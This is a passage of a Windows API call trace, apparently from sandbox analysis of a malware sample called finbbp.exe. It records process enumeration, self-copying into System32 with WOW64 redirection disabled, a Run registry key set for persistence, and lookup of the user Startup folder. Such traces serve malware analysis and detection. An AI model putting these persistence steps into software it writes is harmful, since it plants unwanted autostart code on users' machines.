returned 12 [0281.985] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0281.985] lstrlenW (lpString="services.exe") returned 12 [0281.985] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0281.986] lstrlenW (lpString="lsass.exe") returned 9 [0281.986] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x228, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0281.986] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0281.986] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0281.987] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0281.987] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.987] lstrlenW (lpString="svchost.exe") returned 11 [0281.987] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.988] lstrlenW (lpString="svchost.exe") returned 11 [0281.988] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x228, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0281.989] lstrlenW (lpString="dwm.exe") returned 7 [0281.989] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.989] lstrlenW (lpString="svchost.exe") returned 11 [0281.989] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.990] lstrlenW (lpString="svchost.exe") returned 11 [0281.990] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.990] lstrlenW (lpString="svchost.exe") returned 11 [0281.990] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.991] lstrlenW (lpString="svchost.exe") returned 11 [0281.991] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.991] lstrlenW (lpString="svchost.exe") returned 11 [0281.991] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.992] lstrlenW (lpString="svchost.exe") returned 11 [0281.992] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.992] lstrlenW (lpString="svchost.exe") returned 11 [0281.992] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.993] lstrlenW (lpString="svchost.exe") returned 11 [0281.993] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.993] lstrlenW (lpString="svchost.exe") returned 11 [0281.993] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.994] lstrlenW (lpString="svchost.exe") returned 11 [0281.994] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0281.994] lstrlenW (lpString="spoolsv.exe") returned 11 [0281.994] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.995] lstrlenW (lpString="svchost.exe") returned 11 [0281.995] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0281.995] lstrlenW (lpString="audiodg.exe") returned 11 [0281.996] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0281.996] lstrlenW (lpString="sihost.exe") returned 10 [0281.996] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.997] lstrlenW (lpString="svchost.exe") returned 11 [0281.997] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0281.997] lstrlenW (lpString="taskhostw.exe") returned 13 [0281.997] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0281.998] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0281.998] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0281.998] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0281.998] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0281.999] lstrlenW (lpString="Memory Compression") returned 18 [0281.999] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x958, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0281.999] lstrlenW (lpString="explorer.exe") returned 12 [0281.999] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0282.000] lstrlenW (lpString="SearchUI.exe") returned 12 [0282.000] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0282.000] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0282.000] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0282.036] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0282.036] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0282.037] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0282.037] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x978, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0282.037] lstrlenW (lpString="finbbp.exe") returned 10 [0282.037] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xefc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.038] lstrlenW (lpString="svchost.exe") returned 11 [0282.038] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0282.038] lstrlenW (lpString="dllhost.exe") returned 11 [0282.038] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xda4, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0282.039] lstrlenW (lpString="finbbp.exe") returned 10 [0282.039] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xda4, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 0 [0282.039] CloseHandle (hObject=0x240) returned 1 [0282.039] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f7860 | out: hHeap=0x4e0000) returned 1 [0282.039] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f79c8 | out: hHeap=0x4e0000) returned 1 [0282.039] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f61d0 | out: hHeap=0x4e0000) returned 1 [0282.040] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f6110 | out: hHeap=0x4e0000) returned 1 [0282.040] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f57a8 | out: hHeap=0x4e0000) returned 1 [0282.040] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x522830 | out: hHeap=0x4e0000) returned 1 [0282.040] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f63b0 | out: hHeap=0x4e0000) returned 1 [0282.040] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f6310 | out: hHeap=0x4e0000) returned 1 [0282.040] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x51d5f8 | out: hHeap=0x4e0000) returned 1 [0282.040] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x51d648 | out: hHeap=0x4e0000) returned 1 [0282.040] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f6290 | out: hHeap=0x4e0000) returned 1 [0282.040] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x51d490 | out: hHeap=0x4e0000) returned 1 [0282.040] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xfffe) returned 0x524928 [0282.040] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xfffe) returned 0x534930 [0282.041] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x522860 [0282.041] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x522860, Size=0x20) returned 0x51d710 [0282.041] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x51d710, Size=0x40) returned 0x4f7860 [0282.041] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x522a10 [0282.041] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x522a10, Size=0x20) returned 0x51d648 [0282.041] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x522a10 [0282.041] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x522a10, Size=0x20) returned 0x51d670 [0282.041] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x5228c0 [0282.041] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x5228c0, Size=0x20) returned 0x51d468 [0282.041] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x51d468, Size=0x40) returned 0x4f79c8 [0282.041] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x534930, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\finbbp.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\finbbp.exe")) returned 0x47 [0282.041] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xfffe) returned 0x544938 [0282.042] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xfffe) returned 0x554940 [0282.042] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x522938 [0282.042] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x522938, Size=0x20) returned 0x51d580 [0282.042] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x51d580, Size=0x40) returned 0x4f7470 [0282.042] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f7470, Size=0x80) returned 0x523168 [0282.042] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x523168, Size=0x100) returned 0x523168 [0282.042] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0282.042] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x523168 | out: hHeap=0x4e0000) returned 1 [0282.042] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\finbbp.exe", lpDst=0x544938, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\System32\\finbbp.exe") returned 0x1f [0282.042] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x554940 | out: hHeap=0x4e0000) returned 1 [0282.043] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x544938 | out: hHeap=0x4e0000) returned 1 [0282.044] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x100000) returned 0x23ce020 [0282.047] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x522908 [0282.047] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x522908, Size=0x20) returned 0x51d710 [0282.047] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x522a10 [0282.047] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x522a10, Size=0x20) returned 0x51d8f0 [0282.047] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76dc0000 [0282.047] GetProcAddress (hModule=0x76dc0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76dd6b30 [0282.047] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x0) returned 1 [0282.047] lstrlenW (lpString="kernel32.dll") returned 12 [0282.047] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x51d710 | out: hHeap=0x4e0000) returned 1 [0282.047] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0282.047] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x51d8f0 | out: hHeap=0x4e0000) returned 1 [0282.047] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\finbbp.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\finbbp.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0282.048] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\finbbp.exe" (normalized: "c:\\windows\\system32\\finbbp.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0282.242] ReadFile (in: hFile=0x240, lpBuffer=0x23ce020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23ce020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0282.252] WriteFile (in: hFile=0x244, lpBuffer=0x23ce020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23ce020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0282.256] ReadFile (in: hFile=0x240, lpBuffer=0x23ce020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23ce020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1 [0282.256] CloseHandle (hObject=0x244) returned 1 [0282.256] CloseHandle (hObject=0x240) returned 1 [0282.256] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x522950 [0282.256] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x522950, Size=0x20) returned 0x51d6c0 [0282.256] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x5228d8 [0282.256] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x5228d8, Size=0x20) returned 0x51d788 [0282.256] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76dc0000 [0282.256] GetProcAddress (hModule=0x76dc0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76dd6b30 [0282.257] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0282.257] lstrlenW (lpString="kernel32.dll") returned 12 [0282.257] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x51d788 | out: hHeap=0x4e0000) returned 1 [0282.257] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0282.257] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x51d6c0 | out: hHeap=0x4e0000) returned 1 [0282.257] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x23ce020 | out: hHeap=0x4e0000) returned 1 [0282.262] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x522860 [0282.262] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x522860, Size=0x20) returned 0x51d710 [0282.263] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x51d710, Size=0x40) returned 0x4f7ae8 [0282.263] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f7ae8, Size=0x80) returned 0x523168 [0282.263] lstrlenW (lpString="C:\\WINDOWS\\System32\\finbbp.exe") returned 30 [0282.263] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0282.263] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x5c) returned 0x5235e8 [0282.263] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x19fd64 | out: phkResult=0x19fd64*=0x240) returned 0x0 [0282.263] RegSetValueExW (in: hKey=0x240, lpValueName="finbbp.exe", Reserved=0x0, dwType=0x1, lpData="C:\\WINDOWS\\System32\\finbbp.exe", cbData=0x3c | out: lpData="C:\\WINDOWS\\System32\\finbbp.exe") returned 0x0 [0282.264] RegCloseKey (hKey=0x240) returned 0x0 [0282.265] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5235e8 | out: hHeap=0x4e0000) returned 1 [0282.265] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0282.265] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x523168 | out: hHeap=0x4e0000) returned 1 [0282.265] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xfffe) returned 0x545140 [0282.265] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xfffe) returned 0x555148 [0282.265] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x522a10 [0282.265] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x522a10, Size=0x20) returned 0x51d7d8 [0282.265] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x51d7d8, Size=0x40) returned 0x4f7548 [0282.265] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f7548, Size=0x80) returned 0x523168 [0282.265] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x523168, Size=0x100) returned 0x523168 [0282.265] lstrlenW (lpString="") returned 0 [0282.265] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0282.265] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x8c) returned 0x523270 [0282.265] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x240) returned 0x0 [0282.265] RegQueryValueExW (in: hKey=0x240, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x555148, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x0, lpData=0x555148*=0x53, lpcbData=0x19fd48*=0x7fff) returned 0x2 [0282.265] RegCloseKey (hKey=0x240) returned 0x0 [0282.265] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x523270 | out: hHeap=0x4e0000) returned 1 [0282.265] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0282.265] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x8c) returned 0x523270 [0282.265] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0 [0282.284] RegQueryValueExW (in: hKey=0x244, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x555148, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x98) returned 0x0 [0282.284] RegCloseKey (hKey=0x244) returned 0x0 [0282.284] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x523270 | out: hHeap=0x4e0000) returned 1 [0282.284] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75 [0282.284] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0282.284] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x523168 | out: hHeap=0x4e0000) returned 1 [0282.284] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\finbbp.exe", lpDst=0x545140, nSize=0x7fff | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\finbbp.exe") returned 0x59 [0282.284] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x555148 | out: hHeap=0x4e0000) returned 1 [0282.285] HeapFree (in: 